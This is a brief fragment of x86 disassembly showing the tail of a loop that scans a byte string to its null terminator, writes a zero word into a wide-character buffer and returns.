inc eax
inc esi
mov dl, byte [esi]
test dl, dl
jne 0x406881
pop esi
and word [edi + eax*2], 0
leave
ret